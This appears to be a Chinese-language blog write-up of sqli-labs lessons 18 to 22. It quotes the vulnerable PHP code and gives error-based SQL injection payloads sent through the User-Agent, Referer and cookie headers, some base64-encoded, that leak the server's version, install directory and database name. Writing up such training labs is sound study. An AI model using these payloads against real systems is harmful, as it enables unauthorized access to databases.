Sqli-labs Less18-22 HTTP 头注入 POST

2023-11-12

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 18: POSt - Header injection- Uagent field - Error vased

  1. 测试漏洞

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    mysql_query($insert);
    
    # Ip 地址我们这里修改不是很方便,但是useragent 修改较为方便,我们从 user-agent 入手我们利用 burpsuite 进行抓包改包
    

    在浏览器输入正确的用户名和密码 admin:admin

    使用 burpsuite 进行截断,之后修改 HTTP 头的 User-Agent

    结果在浏览器显示出了 User-Agent

  2. User-Agent 注入

    User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
    

    低版本的 mysql 不支持这个 extractvalue() 函数

Less - 19: POSt - Header Injection - Referer field - Error basesd

  1. 测试漏洞

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
    mysql_query($insert);
    
    # Ip 地址我们这里修改不是很方便,但是 referer 修改较为方便,我们从 referer 入手我们利用 burpsuite 进行抓包改包
    

    在浏览器输入正确的用户名和密码 admin:admin

    使用 burpsuite 进行截断,之后修改 HTTP 头的 referer

    结果在浏览器显示出了 referer

  2. Referer 注入

    Referer: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
    

    低版本的 mysql 不支持这个 extractvalue() 函数

Less - 20: POST - Cookie Injection - Uagent field - Error based

  1. 测试漏洞

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    $cookee = $row1['username'];
        if($row1)
            {
            setcookie('uname', $cookee, time()+3600);
            header ('Location: index.php');
            }
    
    
    # 从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。
    # 登录成功后,我们修改 cookie,再次刷新时,这时候sql 语句就会被修改了。我们使用 temper data 进行演示。
    

    在浏览器输入正确的用户名和密码 admin:admin

    修改 cookie 值为

    uname=1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
    

    结果显示为版本号。

    使用 burpsuite-reperter 抓包添加一行 cookie 值

  1. 测试漏洞

    本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
            if($row1)
                {
                setcookie('uname', base64_encode($row1['username']), time()+3600);
                header ('Location: index.php');
                }
    

    我们这里可以利用 less20 同样的方法,但是需要将 payload 进行 base64 编码处理(注意这里对uname 进行了(‘uname’)的处理)

    Cookie:

    uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

    在浏览器输入正确的用户名和密码 admin:admin

    修改 cookie 值为

    uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
    

    结果显示为版本号。

  1. 测试漏洞

    本关对cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。

    源代码

    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    # uname 和passwd 进行了check_input()函数的处理
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
            if($row1)
                {
                setcookie('uname', base64_encode($row1['username']), time()+3600);
                header ('Location: index.php');
                }
    

    本关和 less20、less21 是一致的,我们可以从源代码中看到这里对 uname 进行了 ”uname” 的处理,可以构造payload:

    admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
    
    # base64 编码之后:
    
    cookie: YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM=    
    

    Payload 进行 base64 编码后,修改 cookie 再进行提交

    可以看到数据库名为 security

    其他的payload 请自行发散思维进行构造。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Sqli-labs Less18-22 HTTP 头注入 POST 的相关文章

随机推荐

  • 利用工厂模式和策略模式来替代if else

    对于代码写到一定地步 肯定会遇到很多业务代码的繁琐的if else分支 简单的几个条件可以if else几个 但是一旦后面的条件越来越多 有没有更好的替代让代码看起来没那么臃肿 更好维护 而不是一个if一个if的看过去 其实是有的 就是工厂
  • Windows系统上安装Linux系统

    一 安装前准备 这里采用的系统是Windows 10 VMware workstation虚拟机软件 CentOS 7镜像 VMware workstation虚拟机软件的安装这里不讲解 准备安装Linux系统的笔记本或电脑一定要插好网线
  • 从键盘输入一个整数n(1000<=n<=1000000)编程计算并输出n的所有约数中最大的三位数(即最大的三位约数)。(如:当n为555555时,最大三位约数是777)如果n小于1000或者大于100

    include
  • 【程序控制结构】

    三大结构 顺序 选择 循环 一 顺序结构 1 print 输出函数 print 函数的作用是向终端 或系统隐性指定的输出设备 输出若干个任意类型的数据 语法格式1 print 输出项 1 输出项 2 语法格式2 print 输出项 1 输出
  • UVa10881题解报告

    题目 L长的棍子上有n个蚂蚁 他们分别向左或右爬 速度为1 求T时间后各蚂蚁的状态 题解 白书给出了一个很巧妙的解法 将蚂蚁看作质点 相撞掉头等于对穿而过 因为掉头所以 他们最后的顺序与输入时在棍子上的顺序相同 所以只要记录下初始状态下蚂蚁
  • Qt——正则表达式

    在项目中经常会遇到对字符串进行操作的情况 我们可以直接使用QString的一些函数 但QT提供了一个更加强大的类 QRegExp 使用正则表达式来操作字符串 先说说我最近遇到的几个问题 1 对输入框LineEdit中的输入内容加以限制 比如
  • 【Scrapy中的图片和文件】scrapy系统内置的图片下载管道

    理论基础 官方文档 https scrapy chs readthedocs io zh CN 0 24 topics images html highlight image 三个基本操作 1 在items py中定义image urls
  • 定义一个结构体指针需要分配存储空间?

    前言 问题的来源于在学数据结构的时候 C 的语法和C语言的语法竟然不一样 1 首先函数的参数有两种传递方式 一个是值传递 一个是地址传递 当指针作为参数传递的时候 即为地址传递 但C 写的时候需要加 引用符号 而C语言却不用 2 本文谈的是
  • RJ45以太网接口的EMC设计方案

    RJ45以太网接口的EMC设计方案 网口emc设计 打怪升级ing的博客 CSDN博客 目录 一 接口概述 二 接口电路原理图的EMC设计 1 电路滤波设计要点 2 电路防雷设计要点 三 连接器设计 四 线缆设计 电缆设计 走线设计 屏蔽层
  • 【mmcv安装使用】

    文章目录 一 前言 二 mmcv安装 1 安装方案a 2 安装方案b 三 mmclassification使用 1 目录说明 2 数据集 3 根据自己数据修改文件 4 demo测试 5 测试结果 6 数据增强可视化 7 日志分析 个人网站
  • 第二十二篇 ResNet实战

    文章目录 摘要 1 项目结构 2 划分训练集和测试集 3 计算mean和Standard 3 1 标准化的作用 3 2 归一化的作用 4 Mixup CutMix CutOut数据集增强 5 训练
  • 机器学习类论文撰写框架

    在听了讲座 如何写好一篇高质量机器视觉学术论文 后 进行的笔记总结 以视觉方向为例 根据本篇框架 在阅读论文中学习写作方法 并把握论文要点 摘要 Abstract 问题是什么 我们做了什么 我们大概是怎么做的 我们做的效果不错 引言 Int
  • 基于FaceX-Zoo实现的人脸识别系统

    基于FaceX Zoo实现的人脸识别系统 项目简介 项目地址 https github com mundanePeo faceRecognition 本项目基于京东AI的人脸识别框架工具集FaceX Zoo所实现的人脸识别系统项目 本项目以
  • Chrome & Firefox 无法打开网页的修复操作

    step 1 开始按钮右击 选择windows powershell 管理员 Step 2 输入命令 netsh winsock reset 回车 Step 3 重启电脑 debug成功
  • Efficient Global 2D-3D Matching for Camera Localization in a Large-Scale 3D Map

    文章目录 Efficient Global 2D 3D Matching for Camera Localization in a Large Scale 3D Map 1 相似源码 choose solution py eight poi
  • C++(11):tuple

    C 11引入了tuple 元组 tuple可以被看作是一个模板化的结构体 可以在定义时包含任意类型任意数量的成员 可通过如下几种方式创建tuple tuple
  • Android Studio 由代理引起的 (Connection refused)、(Read time out)

    首先明确一点 此类问题皆是因为大陆的墙厚又高 在 AS 的 Gradle 构建依赖时由于网速 大陆墙等原因 会遇到各种各样的问题 十分的苦恼而又无可奈何 如果不能定为具体原因 就只能看项目一路飘红了 1 定位问题 由于项目需要对 Andro
  • spring通过@Value注解注入带默认值的map

    背景 项目开发过程中有需要注入map的需求 但是大部分是不带默认值的配置 这里补充一下String类型默认值的配置方式 注入Map 配置文件中引入配置 test map key1 value1 key2 value2 在任意Bean中增加
  • 我的世界 红石信号 服务器,我的世界0.13.1红石信号延续方式介绍

    今天搞趣网小编为大家带来我的世界0 13 1红石信号延续方式介绍 下面小编为大家详细讲解我的世界0 13 1红石信号延续方式介绍 希望对大家有所帮助 红石电路的从一个信号源发出的信号是有强度限制的 当电路超过15格的距离后信号就会消失 在制
  • Sqli-labs Less18-22 HTTP 头注入 POST

    本文记录 SQL 注入的学习过程 资料为 SQLi SQLi 博客目录 Less 18 POSt Header injection Uagent field Error vased 测试漏洞 源代码 uname check input PO